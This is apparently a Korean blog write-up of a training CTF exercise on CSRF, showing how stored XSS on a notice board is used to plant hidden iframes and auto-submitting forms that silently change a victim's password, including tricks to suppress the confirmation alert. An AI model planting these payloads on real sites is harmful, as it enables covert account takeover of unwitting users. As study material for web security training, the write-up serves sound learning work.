이 문제의 목표는 CSRF을 통해 피해자의 계정 비밀번호를 임의로 바꾸는 것이다.
메인페이지는 다음과 같다.
guest1으로 로그인하면 다음과 같은 페이지가 나오게 된다
우리의 목적은 비밀번호 변경이므로 마이페이에서 비밀번호를 변경해보도록 하겠다.
다음과 같이 비밀번호 1234로 폼을 작성하고 요청을 보내보았다.
회원정보 수정이 완료되었다는 alert창과 함께 메인페이지로 돌아감을 알 수 있다.
이후 repeater에 method를 get으로 바꾸고 비밀번호 변경칸인 pw의 값을 1111로 변경한 뒤 url을 복사하여 전송한 결과 비밀번호가 변경되었다는 alert창이 떴다.
(http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php?id=&info=&pw=1111)
이후 로그인을 1111로 해본결과 로그인이 됨을 확인 할 수 있다.
다만 2번 문제에서는 잘못된 요청이라 뜨는것을 확인할 수 있다.
이후 get으로 메소드를 변경하여도 잘못된 요청이라 뜨게 되며 비밀번호의 변경이 이루어지지 않는다.
이는 동일출처정책에 의해서 같은 도매인 내의 요청이 아닌경우 받아들이지 않을 가능성이 크다.
위의 요소를 우회하기 위해서는 같은 도매인 내의 XSS취약점이 필요하다. 따라서 XSS취약점을 찾도록 하겠다.
글쓰기 페이지에서 글을 쓰게 될 경우 http://ctf.segfaulthub.com:7777/csrf_1/notice_read.php?id=41&view=1과 같이 get으로 페이지를 로드하고 있다.
또한 < ' " > 특수문자 및 <script>태그가 HTTP Entity없이 그대로 출력되는것을 확인하였다.
위와같이 alert코드를 통해 JS의 실행을 확인한 결과 1,2 alert창이 모두 뜨든 것을 확인하였다. 즉, 제목과 본문 모두 XSS취약점이 존재한다.
다음과 같이 Stored XSS 취약점을 이용하여 코드를 짜보았다.
<form action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" method="POST">
<input type="hidden" name="pw" value="1111">
<input type="submit">
</form>
그 결과 위와같이 submit 버튼이 나오게 되며 이 버튼이 누를 경우 회원정보 수정이 성공하였다는 창과 함께 로그아웃이 된다.
로그인 결과 1111로 로그인시 로그인이 됨을 확인할 수 있다. 즉, CSRF공격이 성공하였다는 것이다.
이제 자동으로 폼이 제출되도록 하겠다.
이에 더해서 폼이 제출됨과 동시에 창이 이동하며 회원정보 수정을 알려주기에 이를 모르게 하기 위해 보이지 않는 iframe을 이용하여 그 안에 폼을 제출하도록 하겠다.
<iframe name="CSRF_attack" style="display:none;">
</iframe>
<form action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" method="POST" target="CSRF_attack">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>
위 코드를 작성하여 저장한 결과 저 코드가 저장 된 페이지로 들어가게 되면 비밀번호가 1234로 변경이 됨을 확인 할 수 있다. 아래와 같이 1234로 로그인이 성공하게 된다.
<iframe name="CSRF_attack" style="display:none;">
<script>
window.alert = function() {};
</script>
</iframe>
<form action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" method="POST" target="CSRF_attack">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>
<iframe name="CSRF_attack" style="display:none;">
<script>
var iframeWindow = document.querySelector('iframe[name="CSRF_attack"]').contentWindow;
iframeWindow.alert = function() {};
</script>
</iframe>
<form action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" method="POST" target="CSRF_attack">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>
다만 위의 경우 alert창에 의해 정보가 변경됨을 확인할 수 있다. 따라서 위와같이 alert을 빈 함수로 변경하였으나 그대로 출력이 되었다.
그 이유는 함수가 먼저 실행이 되고 그 뒤에 페이지가 로드가 되기 때문에 안되는 것이다. 따라서 아래와 같은 코드로 작성이 가능하다.
<iframe name="CSRF_attack" style="display:none;" onload="ex()">
</iframe>
<form action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" method="POST" target="CSRF_attack">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>
<script>
function ex(){
var iframeWindow = document.querySelector('iframe[name="CSRF_attack"]').contentWindow;
iframeWindow.alert = function() {};
}
</script>
마지막 방법으로 sandbox속성을 iframe에 적용해서 js코드를 전부 제한 하는 방법이 있다.
이 방법을 통해 alert이 뜨지는 않았지만 이 방법은 js코드및 폼 제출 등 제한ㅎ되는 요소들이 많기에 이를 사용하는 것은 상황에 따라 다를 것으로 본다.
2번 문제 또한 위의 과정을 거친 결과 모두 같은 결과가 나온 것을 확인 하였다.
<iframe name="CSRF_attack" style="display:none;">
</iframe>
<form action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" method="POST" target="CSRF_attack">
<input type="hidden" name="pw" value="1234">
</form>
<script>
document.forms[0].submit();
</script>
'Nomaltic's Hacking Traning!!' 카테고리의 다른 글
CSRF_3 (0) | 2023.05.28 |
---|---|
XSS 7 (0) | 2023.05.17 |
XSS 3 (0) | 2023.05.12 |
DB데이터 추출 1,2,3 문제 풀이정리 (0) | 2023.05.02 |
DB 데이터 추출 3_blind sqli 이진탐색 (0) | 2023.05.01 |